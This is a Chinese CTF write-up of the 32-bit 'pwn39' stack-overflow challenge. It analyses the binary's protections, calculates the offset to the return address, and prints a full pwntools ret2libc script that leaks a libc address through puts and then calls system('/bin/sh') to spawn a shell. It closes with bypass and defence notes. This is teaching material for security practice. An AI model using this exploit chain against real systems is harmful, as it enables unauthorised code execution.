当前位置: 首页 > news >正文

32位栈溢出实战:从漏洞发现到ROP链构造的完整利用指南

1. 项目概述:从一道经典赛题看32位栈溢出的攻防博弈

最近在复盘CTFshow的PWN入门系列,做到pwn39这道题时,感觉它像是一个微缩的“标本”,把32位程序栈溢出利用的几个核心环节都清晰地展现了出来。这道题本身难度不算高,但它的“典型性”很强,非常适合用来梳理从漏洞发现到最终getshell的完整链条。很多刚接触二进制安全的朋友,可能对栈溢出、ROP这些概念有模糊的认识,但一到实战,面对一个真实的二进制文件,往往不知道从哪里下手。pwn39就提供了一个绝佳的切入点,它没有复杂的保护机制,漏洞点清晰,让我们可以专注于理解栈的结构、函数调用约定以及如何构造攻击载荷。今天,我就结合这道题,把32位栈溢出的实战利用过程掰开揉碎了讲一遍,希望能帮你建立起一个清晰的利用框架。

简单来说,这道题是一个32位的Linux ELF可执行文件,开启了NX保护(栈不可执行),但没有开启栈溢出保护(Canary)和地址随机化(ASLR)。程序逻辑很简单:读取用户输入,然后原样输出。问题就出在这个“读取”上,它使用了不安全的gets函数,导致我们可以向栈上写入远超其容量的数据,从而覆盖关键的返回地址,劫持程序的控制流。我们的目标就是利用这个漏洞,让程序执行我们想要的代码,比如打开一个shell(getshell)。整个过程,就像是在程序的记忆(栈)里进行一次精密的“外科手术”,用我们输入的数据,替换掉它原本要执行的“下一行指令”的地址。

2. 环境准备与逆向分析:定位漏洞的起点

动手之前,准备工作必须到位。我习惯在Ubuntu 20.04/22.04 LTS的虚拟机或WSL2环境下进行PWN题研究,环境相对纯净。首先,你需要安装一套基础工具链:

  • GDB + Pwndbg/Peda/Gef:动态调试神器。我个人偏爱Pwndbg,它的命令更现代化,对CTF题支持很好。安装也简单,git clone下来,在~/.gdbinit里source一下就行。
  • checksec:用来快速查看程序开启了哪些安全保护。它是pwntools工具包的一部分,通常安装pwntools后就能用。
  • objdump/readelf:系统自带,用于静态分析,查看程序节区信息、反汇编代码。
  • ROPgadget/ropper:自动化查找ROP链的工具,在构造利用时能省不少力气。
  • pwntools:Python库,PWN手的瑞士军刀,写exp脚本离不开它。用pip install pwntools安装。

拿到题目文件pwn39后,第一步不是急着运行,而是先用checksec做个“体检”:

checksec pwn39

输出大概会是这样:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

这个结果信息量很大:

  • Arch: i386-32-little:确认是32位小端序程序。这决定了我们后面计算地址、构造payload时都要按32位(4字节)来。
  • Stack: No canary found没有栈溢出保护(Canary)。这是关键!意味着我们可以肆意覆盖栈上的数据,包括返回地址,而不会被检测到异常并终止程序。
  • NX: NX enabled栈不可执行(NX)。这意味着即使我们把shellcode写在栈上,程序跳转过去执行时也会触发段错误。因此,我们不能用传统的“jmp esp”这种栈上执行代码的方式,必须转向其他利用技术,比如Return-Oriented Programming (ROP)
  • PIE: No PIE没有地址随机化。程序加载的基地址是固定的(0x8048000)。这意味着程序中所有函数、全局变量的地址在每次运行时都是不变的,我们可以直接在exp里硬编码这些地址,大大简化了利用过程。

接下来是静态分析。用objdump -d pwn39反汇编,或者用IDA Pro/Ghidra这类更强大的反编译器。我们重点关注main函数和存在输入的函数。通常,题目会有一个明显的vulnerable_function或者直接在main里调用gets/scanf等。在pwn39中,通过反汇编,我们很容易找到一个类似下面的函数片段:

0804847b <vuln>: 804847b: 55 push ebp 804847c: 89 e5 mov ebp, esp 804847e: 83 ec 48 sub esp, 0x48 8048481: 83 ec 0c sub esp, 0xc 8048484: 8d 45 bc lea eax, [ebp-0x44] 8048487: 50 push eax 8048488: e8 a3 fe ff ff call 8048330 <gets@plt> 804848d: 83 c4 10 add esp, 0x10 ... 804849a: c9 leave 804849b: c3 ret

这里sub esp, 0x48分配了栈空间,lea eax, [ebp-0x44]计算了缓冲区的起始地址(在ebp-0x44的位置)。然后这个地址被作为参数传递给gets函数。gets会一直读取输入,直到遇到换行符或EOF,且不做任何长度检查。这就是漏洞所在:我们向ebp-0x44这个位置开始的缓冲区写入数据,如果数据长度超过0x44(十进制68)字节,就会覆盖栈上更高地址的数据。

注意ebp-0x44意味着缓冲区距离ebp寄存器有68字节。但在32位调用约定中,函数返回时,ret指令会从栈顶弹出返回地址EIP寄存器。这个返回地址存放在哪里呢?它在ebp指针的上面(高地址方向)。所以,从缓冲区起始到返回地址的偏移量,需要计算清楚。

3. 偏移量计算与栈布局分析:找到覆盖返回地址的精确距离

计算偏移量是栈溢出利用中最基础也最关键的一步。我们需要知道,从我们输入的起始位置(缓冲区开始)到覆盖函数返回地址的位置,到底需要多少字节的填充(padding)。方法有多种:

方法一:动态调试,观察栈帧在GDB中,在gets函数调用前(call gets指令处)下断点。运行程序,断下后,查看栈布局:

  • info framei f:查看当前栈帧信息,会显示Saved eip(即返回地址)的值和位置。
  • x/20wx $esp:以字(4字节)为单位查看栈顶附近内存。
  • 找到缓冲区地址(通常是$ebp-0x44),然后计算到$ebp+4(返回地址位置)的差值。公式为:(ebp - buffer_start) + 4。这里(0x44) + 4 = 0x48,即十进制72字节。这意味着我们需要72字节的垃圾数据(如'A')才能刚好覆盖到返回地址。

方法二:使用pattern生成与定位这是更通用、更准确的方法,尤其适合缓冲区大小不确定的情况。使用pwntools的cyclic功能:

  1. 生成一个不重复的较长字符串(pattern)。
  2. 在GDB中运行程序,输入这个pattern,让程序崩溃。
  3. 程序崩溃时,EIP寄存器(或栈上其他被覆盖的关键数据)会被pattern的一部分覆盖。
  4. cyclic -l <被覆盖的值>命令,即可反推出这个值在pattern中的偏移量。

例如,用pwntools写一个简单的脚本:

from pwn import * context(arch='i386', os='linux') # 生成200个字符的pattern pattern = cyclic(200) print(pattern) # 运行程序,发送pattern,手动在GDB中查看崩溃时EIP的值 # 假设崩溃时 EIP = 0x6161616c ('laaa') offset = cyclic_find(0x6161616c) # 或 cyclic_find(b'laaa') print(f"Offset to EIP: {offset}")

这种方法能精准定位到覆盖EIP所需的字节数。对于pwn39,结果应该也是72。

方法三:静态分析结合调试验证通过反汇编代码,我们知道缓冲区在ebp-0x44。在32位栈帧中,调用函数时,参数从右向左压栈,然后压入返回地址,接着是旧的ebp。所以栈布局(从低地址到高地址)通常是:

低地址 | ...其他局部变量... | 缓冲区[ebp-0x44] | ... | 旧的ebp | 返回地址 | 高地址

从缓冲区开始到返回地址的偏移就是0x44 (缓冲区到ebp) + 4 (ebp本身占4字节) = 0x48

实操心得:我强烈推荐方法二(pattern法)。它不仅给出了精确偏移,还验证了我们的静态分析。在实际比赛中,题目可能更复杂,有结构体对齐等问题,静态计算容易出错,pattern法是最可靠的。养成习惯,拿到题先cyclic一下。

4. 漏洞利用思路构建:绕过NX与获取Shell

知道了偏移量,我们就能控制EIP了。但控制之后跳到哪里去呢?由于NX保护,栈上的数据(我们的shellcode)不可执行。因此,我们需要利用程序中已有的代码片段来拼凑出我们想要的功能。这就是ROP(Return-Oriented Programming)技术。

ROP的核心思想是:以ret指令结尾的短指令序列(称为gadget)作为“积木”,通过精心构造栈上数据(即我们的输入),让程序连续执行多个gadget,最终达成目的(如调用system("/bin/sh"))。

对于pwn39这种没有PIE的程序,利用思路非常直接,通常采用ret2libc攻击:

  1. 覆盖返回地址,跳转到putsprintf函数的PLT表地址,让它输出某个已知函数(如gets)在内存中的真实地址(GOT表项)。
  2. 根据泄露出的真实地址,结合本地的libc库,计算出libc的基地址。
  3. 根据libc基地址,计算出system函数和字符串"/bin/sh"的真实地址。
  4. 再次触发溢出(或者程序有循环,一次输入完成所有步骤),覆盖返回地址为system的地址,并布置好参数,最终获取shell。

但是,pwn39作为一道入门题,可能有更简单的“后门”函数或者现成的system调用。我们需要先探索一下程序本身提供了什么。用objdump -t pwn39 | grep -E "system|exec|bin/sh"或者strings -a pwn39 | grep /bin/sh搜索一下。有时题目会直接给出system的PLT地址和一个"/bin/sh"字符串的地址。如果找到了,那就是最简单的ret2textret2plt,直接跳过去就行。

假设pwn39没有这么直接,我们就按标准的ret2libc来规划。整个利用链分为两个(或一个)阶段:

  • 阶段一:泄露libc地址。利用程序本身的puts输出gets的GOT地址。
  • 阶段二:调用system(“/bin/sh”)。利用泄露的地址计算system"/bin/sh"的地址,再次溢出执行。

5. 利用链构造与Payload编写:一步步实现控制流劫持

现在,我们开始动手编写利用脚本(exp)。使用pwntools会让这个过程非常清晰。以下是一个针对pwn39标准ret2libc思路的exp框架,并附上详细注释:

#!/usr/bin/env python3 from pwn import * # 设置上下文环境,指定架构和系统 context(arch='i386', os='linux', log_level='debug') # 启动进程,本地调试用process,远程打靶用remote('host', port) p = process('./pwn39') # p = remote('pwn.challenge.ctf.show', 12345) # 用ELF类加载文件,方便获取符号地址 elf = ELF('./pwn39') # 如果题目提供了libc.so,也可以加载 # libc = ELF('./libc.so.6') # 第一步:计算偏移量(这里我们用之前得到的72) offset = 72 # 获取关键地址 puts_plt = elf.plt['puts'] # puts函数在PLT表的地址,用于调用 gets_got = elf.got['gets'] # gets函数在GOT表中的地址,里面存的是gets在libc中的真实地址 main_addr = elf.symbols['main'] # main函数地址,用于泄露后再次返回main,进行第二次溢出 # 构造第一阶段payload:泄露gets的真实地址 # payload布局:[72字节垃圾数据] + [puts_plt] + [main_addr] + [gets_got] # 解释:覆盖返回地址为puts_plt,puts执行时,会从栈上取它的返回地址(我们布置的main_addr)和参数(gets_got) # puts(gets_got)执行后,会打印出gets的真实地址,然后返回到main函数开头,程序重新开始,我们可以再次输入。 payload1 = b'A' * offset payload1 += p32(puts_plt) # 覆盖的返回地址:跳转到puts@plt payload1 += p32(main_addr) # puts函数执行后的返回地址:我们让它回到main,以便二次利用 payload1 += p32(gets_got) # puts函数的参数:要打印的地址(gets的GOT表项) log.info(f"Puts@plt: {hex(puts_plt)}") log.info(f"Gets@got: {hex(gets_got)}") log.info(f"Main addr: {hex(main_addr)}") # 发送第一阶段payload p.sendlineafter(b'input:\n', payload1) # 假设程序提示符是"input:" # 接收puts输出的地址。注意输出可能包含换行符或其他脏数据。 # 先接收一行,直到遇到换行(puts输出字符串会自带换行) leak = p.recvline() # 清理数据,取前4字节,并解包为整数 gets_addr = u32(leak[:4]) log.success(f"Leaked gets address: {hex(gets_addr)}") # 第二步:计算libc基址和system、/bin/sh地址 # 这里需要本地的libc版本与远程一致。可以通过`ldd pwn39`查看本地链接,但远程可能不同。 # 常用方法:使用LibcSearcher或DynELF(pwntools内置,但较慢),或者题目会给出libc文件。 # 假设我们知道远程是libc6-i386_2.27-3ubuntu1.4,其gets偏移是0x05f150 # 本地计算:libc_base = gets_addr - libc.symbols['gets'] # 如果没有libc文件,可以使用在线工具(如libc.blukat.me)根据泄露的地址末三位查找。 # 这里为示例,假设我们已经通过其他手段知道了偏移 # 例如,泄露的gets_addr = 0xf7dfd150,查得libc中gets偏移为0x5f150 # 则 libc_base = 0xf7dfd150 - 0x5f150 = 0xf7d9e000 libc_base = gets_addr - 0x5f150 # 这个偏移需要根据实际环境替换! system_addr = libc_base + 0x03a940 # system函数在libc中的偏移,示例值 binsh_addr = libc_base + 0x15902b # 字符串"/bin/sh"在libc中的偏移,示例值 log.info(f"Calculated libc base: {hex(libc_base)}") log.info(f"Calculated system address: {hex(system_addr)}") log.info(f"Calculated /bin/sh address: {hex(binsh_addr)}") # 构造第二阶段payload:调用system("/bin/sh") # payload布局:[72字节垃圾数据] + [system_addr] + [任意4字节(返回地址)] + [binsh_addr] # 解释:覆盖返回地址为system_addr,system执行时,会从栈上取它的返回地址(我们不在乎,填aaaa)和参数(binsh_addr) payload2 = b'A' * offset payload2 += p32(system_addr) payload2 += p32(0xdeadbeef) # system函数执行后的返回地址,无所谓,可以填任意值 payload2 += p32(binsh_addr) # system函数的参数:指向"/bin/sh"字符串的指针 # 发送第二阶段payload p.sendlineafter(b'input:\n', payload2) # 此时应该已经获得了shell,将交互权交给用户 p.interactive()

注意事项:上面的0x5f1500x03a9400x15902b等偏移量是示例,绝对不可以直接套用!不同版本、不同系统的libc,这些偏移量天差地别。你必须使用与目标环境完全一致的libc文件,并通过readelf -s libc.so.6 | grep systemstrings -t x libc.so.6 | grep /bin/sh等命令获取准确的偏移。在CTF比赛中,有时会提供libc文件,有时需要你根据泄露的地址特征去猜测或爆破。

6. 动态调试与问题排查:让exp稳定运行的技巧

写好了exp,第一次运行往往不会那么顺利。动态调试是解决问题的关键。以下是一些常用的GDB+Pwndbg调试技巧:

1. 在关键点下断点在exp脚本中,可以在发送payload前加上pause(),然后手动附加GDB。

pause() # 脚本暂停在这里,等待你手动操作 payload1 = ...

然后在另一个终端执行gdb -p <pid>附加进程。或者在脚本里直接调试:

p = process('./pwn39') gdb.attach(p, ''' b *0x8048488 # 在call gets处下断点 c ''')

2. 观察栈布局和寄存器当程序在断点处停下,或崩溃时,检查:

  • stack 20x/20wx $esp:查看栈内存,确认我们的payload是否按预期布局。重点看返回地址是否被正确覆盖为我们预设的地址(如puts_plt)。
  • info registersi r:查看所有寄存器值。特别是EIP(指向下一条要执行的指令)和ESP(栈顶指针)。
  • backtracebt:查看函数调用栈,确认崩溃时的上下文。

3. 常见问题与解决

  • 偏移量计算错误:这是最常见的问题。症状是覆盖的返回地址不对,或者程序在奇怪的地方崩溃。务必用cyclic pattern法重新校准偏移
  • 地址错误(特别是libc相关):症状是泄露的地址看起来不对(比如最高位不是0xf70x56等libc常见范围),或者调用system时崩溃。检查:
    • 泄露函数是否正确接收到了参数?在GDB中单步跟puts调用,看其参数是否是我们给的gets_got地址。
    • libc版本是否匹配?用泄露的地址末三位(如...150)去libc database网站查询可能的libc版本。
    • 32位程序传参是通过栈,确保在system地址后面跟的是返回地址填充,然后才是参数字符串的地址。顺序不能错。
  • 栈对齐问题:在某些系统调用或函数调用时,可能需要栈指针(ESP)在调用时16字节对齐。如果调用system后崩溃,可以尝试在system地址前加一个ret指令的gadget(地址)来调整ESP。即payload变为:padding + p32(ret_gadget) + p32(system_addr) + p32(ret_addr) + p32(binsh_addr)。这个ret_gadget可以从程序中用ROPgadget找到。
  • 输入处理问题:程序使用的输入函数(gets,scanf,read)对空白字符(如空格、换行、\x00截断)的处理方式不同。如果payload中有这些字符,可能导致输入提前终止。尽量使用不会引起问题的字符(如A)作为填充。对于scanf,要特别注意格式化字符串。

4. 利用ROPgadget寻找工具链如果程序中找不到直接的system/bin/sh,或者需要复杂的参数布置,就需要找更多的gadget。使用ROPgadget --binary pwn39ropper -f pwn39来搜索。常用的gadget有:

  • pop ret;:用于从栈上弹出一个值到寄存器(如pop ebx; ret;),常用于给函数传参。
  • pop pop pop ret;:连续弹出多个值。
  • leave; ret;:用于栈迁移(stack pivot)攻击,在缓冲区空间极小时非常有用。

7. 漏洞利用的扩展与防御思考

通过pwn39,我们完成了一次标准的32位栈溢出利用。但现实中的漏洞利用和防御要复杂得多。了解这些,能帮助我们更好地理解PWN的本质。

1. 现代漏洞利用的演进

  • 对抗ASLR(地址空间布局随机化):如果程序开启了PIE或系统开启了ASLR,libc和代码段的基地址每次运行都不同。这就需要通过信息泄露(如我们做的)来先获取一个已知地址,计算出随机化偏移,再攻击。或者使用“爆破”技术。
  • 对抗Stack Canary:栈溢出保护会在返回地址前插入一个随机值(canary),函数返回前会检查它是否被改变。绕过方法包括:泄露canary值(如果程序有输出canary的漏洞)、覆盖不包含canary的局部变量(如相邻数组)、或攻击其他脆弱点(如堆、格式化字符串)。
  • 利用链复杂化:当直接getshell不可行时,可能需要构造更复杂的ROP链,先调用mprotect赋予某段内存可执行权限,再将shellcode写入并执行;或者利用printf等函数进行任意写(Write-What-Where)。

2. 从攻击者视角看防御理解攻击,才能更好地防御。开发者可以:

  • 永远不使用不安全的函数:如gets,strcpy,sprintf等,用其安全版本fgets,strncpy,snprintf代替。
  • 启用所有安全编译选项-fstack-protector-all(Canary),-pie -fPIE(ASLR),-Wl,-z,relro,-z,now(Full RELRO)等。
  • 进行代码审计和模糊测试:定期检查代码中的危险函数调用,使用自动化工具进行测试。
  • 部署运行时保护:如操作系统的ASLR、DEP(数据执行保护,即NX)。

3. 给初学者的进阶建议

  • 从简单到复杂:先熟练掌握像pwn39这种无保护的栈溢出,再逐步挑战有Canary、PIE的题目。
  • 善用工具,但理解原理:pwntools、ROPgadget等工具能极大提升效率,但务必清楚其背后原理,知道payload每一部分的作用。
  • 建立自己的知识库:记录不同版本libc的偏移、常用gadget、各种保护机制的绕过技巧。
  • 多动手调试:调试是理解程序运行状态最直接的方式。不要怕出错,每一个崩溃信息都指向一个需要解决的问题。

回过头看pwn39,它就像一本教科书,把栈溢出的“标准答案”摆在了那里。通过它,我们不仅学会了一种攻击技术,更重要的,是理解了程序内存是如何组织的,函数是如何调用和返回的,以及当安全边界被打破时会发生什么。这种对计算机系统底层运行机制的理解,才是学习PWN乃至整个二进制安全最大的收获。

http://www.jsqmd.com/news/1074305/

相关文章:

  • 移动GUI自动化新范式:技能编译技术解析
  • RoboSub水下机器人仿真环境搭建:从MATLAB到Gazebo与Unreal Engine的实战指南
  • HEIC转JPG实战指南:解码稳定性、色彩还原与隐私安全全解析
  • 社区徽章系统设计:从用户激励到高并发架构的完整实践
  • 前端转AI Agent工程师必须补的后端能力图谱
  • MPC8540 TSEC以太网控制器:硬件接口、驱动开发与性能优化详解
  • 医疗知识图谱构建:跨领域关系挖掘与LLM辅助推理
  • 公众号网页视频一体化知识库构建工作流
  • 利用Cody平台游戏化学习MATLAB:从基础语法到实战精通的完整路径
  • AI副业实战指南:需求识别、人机协作与现金流验证
  • Seedance 2.0:国产智能体推理引擎的工程化落地实践
  • MPC8568E处理器信号配置与I/O端口设计详解
  • MATLAB循环中向量存储策略:预分配、性能优化与实战场景解析
  • OpenClaw轻量级AI技能编排引擎部署与Kimi Free Tier实战指南
  • 腾讯云WorkBuddy:企业级智能体工作流平台实战解析
  • switch语句中default分支的健壮性设计:从静默失败到主动错误处理
  • VS Code集成MATLAB开发:配置、调试与高效工作流实战
  • PostScript线条修复:从驱动缺失到输出异常的全面诊断与解决方案
  • Codex SDK 控制台消息解析:从日志误读到状态信号解码
  • Google Authenticator配置指南:五步实现账户双因素认证安全加固
  • 嵌入式系统硬件级保护机制:从总线监控到看门狗实战解析
  • 深入解析e300核心:超标量流水线、缓存与电源管理实战
  • C语言stdlib.h深度解析:内存管理、字符串转换与程序控制
  • VeRL环境搭建:Docker+vLLM+PyTorch生产级AI工程实践
  • Java中SHA256withRSA/PSS签名验签:参数配置、BouncyCastle与JCA实现详解
  • 基于ThingSpeak的物联网数据采集与可视化实战指南
  • 高中生工程学奥赛冠军项目拆解:从字母识别到多学科融合的工程实践
  • 基于人脸识别与关系网络构建动态知识图谱的实践指南
  • 音频格式转换与文件解密:从FFmpeg实战到企业级架构设计
  • 深度学习模型跨框架导入MATLAB:TensorFlow、PyTorch与ONNX实战指南